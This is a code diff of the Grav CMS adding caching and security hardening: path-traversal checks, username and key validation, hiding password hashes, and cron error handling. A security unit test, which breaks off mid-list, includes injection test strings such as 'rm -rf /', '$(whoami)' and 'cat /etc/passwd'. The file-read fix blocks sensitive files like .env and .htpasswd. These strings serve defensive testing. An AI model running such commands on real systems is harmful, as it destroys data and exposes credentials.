||||
|
||||
$cache = $locator->findResource('cache://compiled/blueprints', true, true);
|
||||
$cache = $locator->findResource('cache://compiled/blueprints', true, true);
|
||||
|
||||
$files = [];
|
||||
$paths = $locator->findResources('blueprints://config');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'blueprints');
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths, 'blueprints');
|
||||
// Try to load cached file list to avoid filesystem scanning on every request
|
||||
$files = static::loadCachedFileList($locator, $cache, 'blueprints', $setup->environment);
|
||||
|
||||
if ($files === null) {
|
||||
// Cache miss - scan filesystem for blueprint files
|
||||
$files = [];
|
||||
$paths = $locator->findResources('blueprints://config');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'blueprints');
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths, 'blueprints');
|
||||
|
||||
// Save file list cache for next request
|
||||
static::saveCachedFileList($locator, $cache, 'blueprints', $setup->environment, $files);
|
||||
|
||||
// Also invalidate the compiled blueprints cache to force rebuild
|
||||
$masterBlueprints = "{$cache}/master-{$setup->environment}.php";
|
||||
if (file_exists($masterBlueprints)) {
|
||||
@unlink($masterBlueprints);
|
||||
}
|
||||
}
|
||||
|
||||
$blueprints = new CompiledBlueprints($cache, $files, GRAV_ROOT);
|
||||
|
||||
@@ -112,15 +128,30 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
/** @var UniformResourceLocator $locator */
|
||||
$locator = $container['locator'];
|
||||
|
||||
$cache = $locator->findResource('cache://compiled/config', true, true);
|
||||
$cache = $locator->findResource('cache://compiled/config', true, true);
|
||||
|
||||
$files = [];
|
||||
$paths = $locator->findResources('config://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths);
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths);
|
||||
// Try to load cached file list to avoid filesystem scanning on every request
|
||||
$files = static::loadCachedFileList($locator, $cache, 'config', $setup->environment);
|
||||
|
||||
if ($files === null) {
|
||||
// Cache miss - scan filesystem for config files
|
||||
$files = [];
|
||||
$paths = $locator->findResources('config://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths);
|
||||
$paths = $locator->findResources('themes://');
|
||||
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths);
|
||||
|
||||
// Save file list cache for next request
|
||||
static::saveCachedFileList($locator, $cache, 'config', $setup->environment, $files);
|
||||
|
||||
// Also invalidate the compiled config cache to force rebuild
|
||||
$masterConfig = "{$cache}/master-{$setup->environment}.php";
|
||||
if (file_exists($masterConfig)) {
|
||||
@unlink($masterConfig);
|
||||
}
|
||||
}
|
||||
|
||||
$compiled = new CompiledConfig($cache, $files, GRAV_ROOT);
|
||||
$compiled->setBlueprints(fn() => $container['blueprints']);
|
||||
@@ -151,12 +182,28 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
|
||||
// Process languages only if enabled in configuration.
|
||||
if ($config->get('system.languages.translations', true)) {
|
||||
$paths = $locator->findResources('languages://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'languages');
|
||||
$paths = static::pluginFolderPaths($paths, 'languages');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
// Try to load cached file list to avoid filesystem scanning on every request
|
||||
$files = static::loadCachedFileList($locator, $cache, 'languages', $setup->environment);
|
||||
|
||||
if ($files === null) {
|
||||
// Cache miss - scan filesystem for language files
|
||||
$files = [];
|
||||
$paths = $locator->findResources('languages://');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
$paths = $locator->findResources('plugins://');
|
||||
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'languages');
|
||||
$paths = static::pluginFolderPaths($paths, 'languages');
|
||||
$files += (new ConfigFileFinder)->locateFiles($paths);
|
||||
|
||||
// Save file list cache for next request
|
||||
static::saveCachedFileList($locator, $cache, 'languages', $setup->environment, $files);
|
||||
|
||||
// Also invalidate the compiled languages cache to force rebuild
|
||||
$masterLanguages = "{$cache}/master-{$setup->environment}.php";
|
||||
if (file_exists($masterLanguages)) {
|
||||
@unlink($masterLanguages);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$languages = new CompiledLanguages($cache, $files, GRAV_ROOT);
|
||||
@@ -195,4 +242,154 @@ class ConfigServiceProvider implements ServiceProviderInterface
|
||||
}
|
||||
return $paths;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load cached file list if still valid (based on directory and file mtimes).
|
||||
*
|
||||
* @param UniformResourceLocator $locator
|
||||
* @param string $cacheDir
|
||||
* @param string $type
|
||||
* @param string $environment
|
||||
* @return array|null Returns cached files array or null if cache is invalid
|
||||
*/
|
||||
protected static function loadCachedFileList(UniformResourceLocator $locator, string $cacheDir, string $type, string $environment): ?array
|
||||
{
|
||||
$cacheFile = "{$cacheDir}/filelist-{$type}-{$environment}.php";
|
||||
|
||||
if (!file_exists($cacheFile)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$cache = include $cacheFile;
|
||||
|
||||
if (!is_array($cache) || !isset($cache['directories'], $cache['files'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Validate cache by checking directory mtimes
|
||||
foreach ($cache['directories'] as $dir => $mtime) {
|
||||
// Check if directory still exists and mtime hasn't changed
|
||||
$currentMtime = @filemtime($dir);
|
||||
if ($currentMtime === false || $currentMtime !== $mtime) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// Validate cache by checking individual file mtimes
|
||||
if (isset($cache['file_mtimes'])) {
|
||||
foreach ($cache['file_mtimes'] as $file => $mtime) {
|
||||
$currentMtime = @filemtime($file);
|
||||
if ($currentMtime === false || $currentMtime !== $mtime) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $cache['files'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Save file list to cache with directory and file mtimes for validation.
|
||||
*
|
||||
* @param UniformResourceLocator $locator
|
||||
* @param string $cacheDir
|
||||
* @param string $type
|
||||
* @param string $environment
|
||||
* @param array $files
|
||||
* @return void
|
||||
*/
|
||||
protected static function saveCachedFileList(UniformResourceLocator $locator, string $cacheDir, string $type, string $environment, array $files): void
|
||||
{
|
||||
// Collect all directories that were scanned based on type
|
||||
$directories = [];
|
||||
|
||||
// Collect mtimes for all individual config files
|
||||
$fileMtimes = [];
|
||||
foreach ($files as $group) {
|
||||
foreach ($group as $item) {
|
||||
if (isset($item['file'])) {
|
||||
$filePath = GRAV_ROOT . '/' . $item['file'];
|
||||
if (file_exists($filePath)) {
|
||||
$fileMtimes[$filePath] = filemtime($filePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Type-specific base directories
|
||||
if ($type === 'config') {
|
||||
$basePaths = $locator->findResources('config://');
|
||||
foreach ($basePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
}
|
||||
}
|
||||
} elseif ($type === 'blueprints') {
|
||||
$basePaths = $locator->findResources('blueprints://config');
|
||||
foreach ($basePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
}
|
||||
}
|
||||
} elseif ($type === 'languages') {
|
||||
$basePaths = $locator->findResources('languages://');
|
||||
foreach ($basePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get plugin directories (used by all types)
|
||||
$pluginPaths = $locator->findResources('plugins://');
|
||||
foreach ($pluginPaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
// Also track individual plugin directories for granular invalidation
|
||||
$iterator = new DirectoryIterator($path);
|
||||
foreach ($iterator as $dir) {
|
||||
if ($dir->isDir() && !$dir->isDot()) {
|
||||
$directories[$dir->getPathname()] = $dir->getMTime();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get theme directories (used by config and blueprints)
|
||||
if ($type !== 'languages') {
|
||||
$themePaths = $locator->findResources('themes://');
|
||||
foreach ($themePaths as $path) {
|
||||
if (is_dir($path)) {
|
||||
$directories[$path] = filemtime($path);
|
||||
// Also track individual theme directories
|
||||
$iterator = new DirectoryIterator($path);
|
||||
foreach ($iterator as $dir) {
|
||||
if ($dir->isDir() && !$dir->isDot()) {
|
||||
$directories[$dir->getPathname()] = $dir->getMTime();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$cache = [
|
||||
'@class' => static::class,
|
||||
'type' => $type,
|
||||
'environment' => $environment,
|
||||
'timestamp' => time(),
|
||||
'directories' => $directories,
|
||||
'file_mtimes' => $fileMtimes,
|
||||
'files' => $files,
|
||||
];
|
||||
|
||||
// Ensure cache directory exists
|
||||
if (!is_dir($cacheDir)) {
|
||||
mkdir($cacheDir, 0775, true);
|
||||
}
|
||||
|
||||
$cacheFile = "{$cacheDir}/filelist-{$type}-{$environment}.php";
|
||||
$file = PhpFile::instance($cacheFile);
|
||||
$file->save($cache);
|
||||
$file->free();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,11 +4,17 @@ declare(strict_types=1);
|
||||
|
||||
namespace Grav\Common\Twig\Compatibility;
|
||||
|
||||
use Twig\Loader\ChainLoader;
|
||||
use Twig\Loader\FilesystemLoader;
|
||||
use Twig\Loader\LoaderInterface;
|
||||
use Twig\Source;
|
||||
|
||||
/**
|
||||
* Decorates the active Twig loader to rewrite legacy Twig 1/2 constructs on the fly.
|
||||
*
|
||||
* This loader wraps the ChainLoader and transforms template source code for Twig 3 compatibility.
|
||||
* It also proxies common FilesystemLoader methods to maintain backwards compatibility with
|
||||
* plugins that may call these methods on the loader.
|
||||
*/
|
||||
class Twig3CompatibilityLoader implements LoaderInterface
|
||||
{
|
||||
@@ -18,6 +24,110 @@ class Twig3CompatibilityLoader implements LoaderInterface
|
||||
) {
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the inner loader (ChainLoader).
|
||||
*
|
||||
* @return LoaderInterface
|
||||
*/
|
||||
public function getInnerLoader(): LoaderInterface
|
||||
{
|
||||
return $this->inner;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the FilesystemLoader from the inner ChainLoader.
|
||||
*
|
||||
* @return FilesystemLoader|null
|
||||
*/
|
||||
public function getFilesystemLoader(): ?FilesystemLoader
|
||||
{
|
||||
if ($this->inner instanceof ChainLoader) {
|
||||
foreach ($this->inner->getLoaders() as $loader) {
|
||||
if ($loader instanceof FilesystemLoader) {
|
||||
return $loader;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy addPath to the FilesystemLoader.
|
||||
*
|
||||
* @param string $path
|
||||
* @param string $namespace
|
||||
* @return void
|
||||
*/
|
||||
public function addPath(string $path, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
$loader->addPath($path, $namespace);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy prependPath to the FilesystemLoader.
|
||||
*
|
||||
* @param string $path
|
||||
* @param string $namespace
|
||||
* @return void
|
||||
*/
|
||||
public function prependPath(string $path, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
$loader->prependPath($path, $namespace);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy getPaths to the FilesystemLoader.
|
||||
*
|
||||
* @param string $namespace
|
||||
* @return array
|
||||
*/
|
||||
public function getPaths(string $namespace = FilesystemLoader::MAIN_NAMESPACE): array
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
return $loader->getPaths($namespace);
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy getNamespaces to the FilesystemLoader.
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getNamespaces(): array
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
return $loader->getNamespaces();
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Proxy setPaths to the FilesystemLoader.
|
||||
*
|
||||
* @param array $paths
|
||||
* @param string $namespace
|
||||
* @return void
|
||||
*/
|
||||
public function setPaths(array $paths, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
|
||||
{
|
||||
$loader = $this->getFilesystemLoader();
|
||||
if ($loader !== null) {
|
||||
$loader->setPaths($paths, $namespace);
|
||||
}
|
||||
}
|
||||
|
||||
public function getSourceContext(string $name): Source
|
||||
{
|
||||
$source = $this->inner->getSourceContext($name);
|
||||
|
||||
@@ -638,11 +638,16 @@ class GravExtension extends AbstractExtension implements GlobalsInterface
|
||||
* Get Cron object for a crontab 'at' format
|
||||
*
|
||||
* @param string $at
|
||||
* @return CronExpression
|
||||
* @return CronExpression|null
|
||||
*/
|
||||
public function cronFunc($at)
|
||||
{
|
||||
return CronExpression::factory($at);
|
||||
try {
|
||||
return CronExpression::factory($at);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
// Invalid cron expression - return null to prevent DoS
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1438,11 +1443,42 @@ class GravExtension extends AbstractExtension implements GlobalsInterface
|
||||
$filepath = $locator->findResource($filepath);
|
||||
}
|
||||
|
||||
if ($filepath && file_exists($filepath)) {
|
||||
return file_get_contents($filepath);
|
||||
if (!$filepath || !file_exists($filepath)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return false;
|
||||
// Security: Get the real path to prevent path traversal
|
||||
$realpath = realpath($filepath);
|
||||
if ($realpath === false) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Security: Ensure the file is within GRAV_ROOT
|
||||
$gravRoot = realpath(GRAV_ROOT);
|
||||
if ($gravRoot === false || strpos($realpath, $gravRoot) !== 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Security: Block access to sensitive files and directories
|
||||
$blockedPatterns = [
|
||||
'/\/accounts\/[^\/]+\.yaml$/', // User account files
|
||||
'/\/config\/security\.yaml$/', // Security config
|
||||
'/\/\.env/', // Environment files
|
||||
'/\/\.git/', // Git directory
|
||||
'/\/\.htaccess/', // Apache config
|
||||
'/\/\.htpasswd/', // Apache passwords
|
||||
'/\/vendor\//', // Composer vendor (may contain sensitive info)
|
||||
'/\/logs\//', // Log files
|
||||
'/\/backup\//', // Backup files
|
||||
];
|
||||
|
||||
foreach ($blockedPatterns as $pattern) {
|
||||
if (preg_match($pattern, $realpath)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return file_get_contents($realpath);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -49,6 +49,7 @@ use function trim;
|
||||
use function uniqid;
|
||||
use function unlink;
|
||||
use function ltrim;
|
||||
use const GRAV_PHP_MIN;
|
||||
use const GRAV_ROOT;
|
||||
use const GLOB_ONLYDIR;
|
||||
use const JSON_PRETTY_PRINT;
|
||||
@@ -206,6 +207,17 @@ class SafeUpgradeService
|
||||
throw new InvalidArgumentException(sprintf('Extracted package path "%s" is not a directory.', $extractedPath));
|
||||
}
|
||||
|
||||
// Check PHP requirements from the package before proceeding
|
||||
$phpCheck = $this->checkPackagePhpRequirements($extractedPath);
|
||||
if (!$phpCheck['meets_requirements']) {
|
||||
throw new RuntimeException(sprintf(
|
||||
'PHP version requirement not met. Grav %s requires PHP %s or higher, but you are running PHP %s.',
|
||||
$targetVersion,
|
||||
$phpCheck['required_version'],
|
||||
PHP_VERSION
|
||||
));
|
||||
}
|
||||
|
||||
$stageId = uniqid('stage-', false);
|
||||
$stagePath = $this->stagingRoot . DIRECTORY_SEPARATOR . $stageId;
|
||||
$packagePath = $stagePath . DIRECTORY_SEPARATOR . 'package';
|
||||
@@ -1216,4 +1228,54 @@ class SafeUpgradeService
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check PHP requirements from the package's defines.php file.
|
||||
*
|
||||
* @param string $extractedPath Path to extracted package
|
||||
* @return array{meets_requirements: bool, required_version: string, current_version: string}
|
||||
*/
|
||||
private function checkPackagePhpRequirements(string $extractedPath): array
|
||||
{
|
||||
$result = [
|
||||
'meets_requirements' => true,
|
||||
'required_version' => GRAV_PHP_MIN,
|
||||
'current_version' => PHP_VERSION,
|
||||
];
|
||||
|
||||
// Look for defines.php in the package (could be at root or in system/)
|
||||
$definesPath = null;
|
||||
$candidates = [
|
||||
$extractedPath . DIRECTORY_SEPARATOR . 'system' . DIRECTORY_SEPARATOR . 'defines.php',
|
||||
$extractedPath . DIRECTORY_SEPARATOR . 'defines.php',
|
||||
];
|
||||
|
||||
foreach ($candidates as $candidate) {
|
||||
if (is_file($candidate)) {
|
||||
$definesPath = $candidate;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ($definesPath === null) {
|
||||
// No defines.php found, fall back to current GRAV_PHP_MIN
|
||||
$result['meets_requirements'] = version_compare(PHP_VERSION, GRAV_PHP_MIN, '>=');
|
||||
return $result;
|
||||
}
|
||||
|
||||
// Read and parse the defines.php to extract GRAV_PHP_MIN
|
||||
$content = file_get_contents($definesPath);
|
||||
if ($content === false) {
|
||||
$result['meets_requirements'] = version_compare(PHP_VERSION, GRAV_PHP_MIN, '>=');
|
||||
return $result;
|
||||
}
|
||||
|
||||
// Match patterns like: define('GRAV_PHP_MIN', '8.3.0'); or define("GRAV_PHP_MIN", "8.3.0");
|
||||
if (preg_match('/define\s*\(\s*[\'"]GRAV_PHP_MIN[\'"]\s*,\s*[\'"]([^"\']+)[\'"]\s*\)/', $content, $matches)) {
|
||||
$result['required_version'] = $matches[1];
|
||||
$result['meets_requirements'] = version_compare(PHP_VERSION, $matches[1], '>=');
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -128,8 +128,20 @@ class User extends Data implements UserInterface
|
||||
if ($file) {
|
||||
$username = $this->filterUsername((string)$this->get('username'));
|
||||
|
||||
// Validate username to prevent path traversal attacks
|
||||
if (!self::isValidUsername($username)) {
|
||||
throw new \RuntimeException('Invalid username: contains invalid characters or sequences');
|
||||
}
|
||||
|
||||
if (!$file->filename()) {
|
||||
$locator = Grav::instance()['locator'];
|
||||
|
||||
// Check if a user with this username already exists (prevent overwriting)
|
||||
$existingFile = $locator->findResource('account://' . $username . YAML_EXT);
|
||||
if ($existingFile) {
|
||||
throw new \RuntimeException('User account with this username already exists');
|
||||
}
|
||||
|
||||
$file->filename($locator->findResource('account://' . $username . YAML_EXT, true, true));
|
||||
}
|
||||
|
||||
@@ -304,6 +316,22 @@ class User extends Data implements UserInterface
|
||||
return parent::count();
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritdoc}
|
||||
* Override to filter out sensitive fields like password hashes
|
||||
*/
|
||||
public function jsonSerialize(): array
|
||||
{
|
||||
$items = parent::jsonSerialize();
|
||||
|
||||
// Security: Remove sensitive fields that should never be exposed to frontend
|
||||
unset($items['hashed_password']);
|
||||
unset($items['secret']); // 2FA secret
|
||||
unset($items['twofa_secret']); // Alternative 2FA field name
|
||||
|
||||
return $items;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $username
|
||||
* @return string
|
||||
@@ -313,6 +341,37 @@ class User extends Data implements UserInterface
|
||||
return mb_strtolower($username);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a username to prevent path traversal and other attacks.
|
||||
*
|
||||
* @param string $username
|
||||
* @return bool
|
||||
*/
|
||||
public static function isValidUsername(string $username): bool
|
||||
{
|
||||
// Username must not be empty
|
||||
if (!$username) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Username must not contain filesystem-dangerous characters: \ / ? * : ; { } or newlines
|
||||
if (!preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $username)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Username must not contain path traversal sequences (..)
|
||||
if (str_contains($username, '..')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Username must not start with a dot (hidden files)
|
||||
if (str_starts_with($username, '.')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string|null
|
||||
*/
|
||||
|
||||
@@ -215,9 +215,8 @@ class SchedulerCommand extends GravCommand
|
||||
$job_state = $job_states[$job->getId()];
|
||||
$error = isset($job_state['error']) ? trim((string) $job_state['error']) : false;
|
||||
|
||||
/** @var CronExpression $expression */
|
||||
/** @var CronExpression|null $expression */
|
||||
$expression = $job->getCronExpression();
|
||||
$next_run = $expression->getNextRunDate();
|
||||
|
||||
$row = [];
|
||||
$row[] = $job->getId();
|
||||
@@ -226,7 +225,13 @@ class SchedulerCommand extends GravCommand
|
||||
} else {
|
||||
$row[] = '<yellow>Never</yellow>';
|
||||
}
|
||||
$row[] = '<yellow>' . $next_run->format('Y-m-d H:i') . '</yellow>';
|
||||
|
||||
if ($expression) {
|
||||
$next_run = $expression->getNextRunDate();
|
||||
$row[] = '<yellow>' . $next_run->format('Y-m-d H:i') . '</yellow>';
|
||||
} else {
|
||||
$row[] = '<error>Invalid cron</error>';
|
||||
}
|
||||
|
||||
if ($error) {
|
||||
$row[] = "<error>{$error}</error>";
|
||||
|
||||
@@ -479,6 +479,29 @@ class FlexDirectory implements FlexDirectoryInterface
|
||||
return $cache;
|
||||
}
|
||||
|
||||
/**
|
||||
* Encode a storage key for use as a cache key.
|
||||
* Symfony cache reserves characters: {}()/\@:
|
||||
*
|
||||
* @param string $key
|
||||
* @return string
|
||||
*/
|
||||
protected function encodeCacheKey(string $key): string
|
||||
{
|
||||
return str_replace(['/', '\\', '@', ':'], ['__SLASH__', '__BSLASH__', '__AT__', '__COLON__'], $key);
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode a cache key back to the original storage key.
|
||||
*
|
||||
* @param string $key
|
||||
* @return string
|
||||
*/
|
||||
protected function decodeCacheKey(string $key): string
|
||||
{
|
||||
return str_replace(['__SLASH__', '__BSLASH__', '__AT__', '__COLON__'], ['/', '\\', '@', ':'], $key);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return $this
|
||||
*/
|
||||
@@ -720,7 +743,12 @@ class FlexDirectory implements FlexDirectoryInterface
|
||||
//$debugger->addMessage(sprintf('Flex: Caching %d %s', \count($entries), $this->type), 'debug');
|
||||
}
|
||||
try {
|
||||
$cache->setMultiple($updated);
|
||||
// Encode storage keys for cache compatibility (Symfony cache reserves certain characters)
|
||||
$encodedUpdated = [];
|
||||
foreach ($updated as $key => $value) {
|
||||
$encodedUpdated[$this->encodeCacheKey($key)] = $value;
|
||||
}
|
||||
$cache->setMultiple($encodedUpdated);
|
||||
} catch (InvalidArgumentException $e) {
|
||||
$debugger->addException($e);
|
||||
// TODO: log about the issue.
|
||||
@@ -752,7 +780,15 @@ class FlexDirectory implements FlexDirectoryInterface
|
||||
|
||||
$debugger->startTimer('flex-objects', sprintf('Flex: Loading %d %s', $loading, $this->type));
|
||||
|
||||
$fetched = (array)$cache->getMultiple($fetch);
|
||||
// Encode storage keys for cache compatibility (Symfony cache reserves certain characters)
|
||||
$encodedFetch = array_map([$this, 'encodeCacheKey'], $fetch);
|
||||
$encodedFetched = (array)$cache->getMultiple($encodedFetch);
|
||||
|
||||
// Decode the keys back to original storage keys
|
||||
foreach ($encodedFetched as $encodedKey => $value) {
|
||||
$fetched[$this->decodeCacheKey($encodedKey)] = $value;
|
||||
}
|
||||
|
||||
if ($fetched) {
|
||||
$index = $this->loadIndex('storage_key');
|
||||
|
||||
|
||||
@@ -220,6 +220,39 @@ abstract class AbstractFilesystemStorage implements FlexStorageInterface
|
||||
*/
|
||||
protected function validateKey(string $key): bool
|
||||
{
|
||||
return $key && (bool) preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $key);
|
||||
// Key must not be empty
|
||||
if (!$key) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Key must not contain filesystem-dangerous characters: \ / ? * : ; { } or newlines
|
||||
if (!preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $key)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Key must not contain path traversal sequences (..)
|
||||
if (str_contains($key, '..')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Key must not start with a dot (hidden files)
|
||||
if (str_starts_with($key, '.')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a key and throws an exception if invalid.
|
||||
*
|
||||
* @param string $key
|
||||
* @throws \InvalidArgumentException
|
||||
*/
|
||||
public function assertValidKey(string $key): void
|
||||
{
|
||||
if (!$this->validateKey($key)) {
|
||||
throw new \InvalidArgumentException(sprintf('Invalid storage key: "%s"', $key));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -419,6 +419,9 @@ class FolderStorage extends AbstractFilesystemStorage
|
||||
|
||||
$key = $this->normalizeKey($key);
|
||||
|
||||
// Validate the key to prevent path traversal and other attacks
|
||||
$this->assertValidKey($key);
|
||||
|
||||
// Check if the row already exists and if the key has been changed.
|
||||
$oldKey = $row['__META']['storage_key'] ?? null;
|
||||
if (is_string($oldKey) && $oldKey !== $key) {
|
||||
|
||||
225
tests/unit/Grav/Common/Security/AdminSecurityTest.php
Normal file
225
tests/unit/Grav/Common/Security/AdminSecurityTest.php
Normal file
@@ -0,0 +1,225 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\Scheduler\Job;
|
||||
|
||||
/**
|
||||
* Class AdminSecurityTest
|
||||
*
|
||||
* Tests for admin security fixes.
|
||||
* Covers: GHSA-x62q-p736-3997 (cron DoS), GHSA-gq3g-666w-7h85 (password hash exposure)
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class AdminSecurityTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
// =========================================================================
|
||||
// GHSA-x62q-p736-3997: DoS via Invalid Cron Expression
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAx62q_InvalidCronExpressions
|
||||
*/
|
||||
public function testIsValidCronExpression_GHSAx62q_RejectsInvalidCron(string $expression, string $description): void
|
||||
{
|
||||
$result = Job::isValidCronExpression($expression);
|
||||
self::assertFalse($result, "Should reject invalid cron expression: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAx62q_InvalidCronExpressions(): array
|
||||
{
|
||||
return [
|
||||
// Malformed expressions that could cause DoS
|
||||
["'", 'Single quote'],
|
||||
['"', 'Double quote'],
|
||||
['`', 'Backtick'],
|
||||
['\\', 'Backslash'],
|
||||
|
||||
// Invalid field counts
|
||||
['*', 'Single asterisk (too few fields)'],
|
||||
['* *', 'Two fields (too few)'],
|
||||
['* * *', 'Three fields (too few)'],
|
||||
['* * * *', 'Four fields (too few)'],
|
||||
['* * * * * * *', 'Seven fields (too many)'],
|
||||
|
||||
// Invalid ranges
|
||||
['60 * * * *', 'Invalid minute (60)'],
|
||||
['-1 * * * *', 'Negative minute'],
|
||||
['* 25 * * *', 'Invalid hour (25)'],
|
||||
['* * 32 * *', 'Invalid day (32)'],
|
||||
['* * * 13 *', 'Invalid month (13)'],
|
||||
['* * * * 8', 'Invalid day of week (8)'],
|
||||
|
||||
// Malformed syntax
|
||||
['* * * * * extra', 'Extra text'],
|
||||
['*/* * * * *', 'Double slash'],
|
||||
['*-* * * * *', 'Invalid range'],
|
||||
['a * * * *', 'Letter in field'],
|
||||
['* b * * *', 'Letter in field 2'],
|
||||
|
||||
// Empty/whitespace
|
||||
['', 'Empty string'],
|
||||
[' ', 'Only whitespace'],
|
||||
["\t", 'Tab character'],
|
||||
["\n", 'Newline'],
|
||||
|
||||
// Injection attempts
|
||||
['* * * * *; rm -rf /', 'Command injection'],
|
||||
['$(whoami)', 'Shell expansion'],
|
||||
['* * * * * | cat /etc/passwd', 'Pipe injection'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAx62q_ValidCronExpressions
|
||||
*/
|
||||
public function testIsValidCronExpression_GHSAx62q_AcceptsValidCron(string $expression, string $description): void
|
||||
{
|
||||
$result = Job::isValidCronExpression($expression);
|
||||
self::assertTrue($result, "Should accept valid cron expression: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAx62q_ValidCronExpressions(): array
|
||||
{
|
||||
return [
|
||||
// Standard expressions
|
||||
['* * * * *', 'Every minute'],
|
||||
['0 * * * *', 'Every hour'],
|
||||
['0 0 * * *', 'Daily at midnight'],
|
||||
['0 0 1 * *', 'Monthly on 1st'],
|
||||
['0 0 * * 0', 'Weekly on Sunday'],
|
||||
|
||||
// Specific times
|
||||
['30 4 * * *', '4:30 AM daily'],
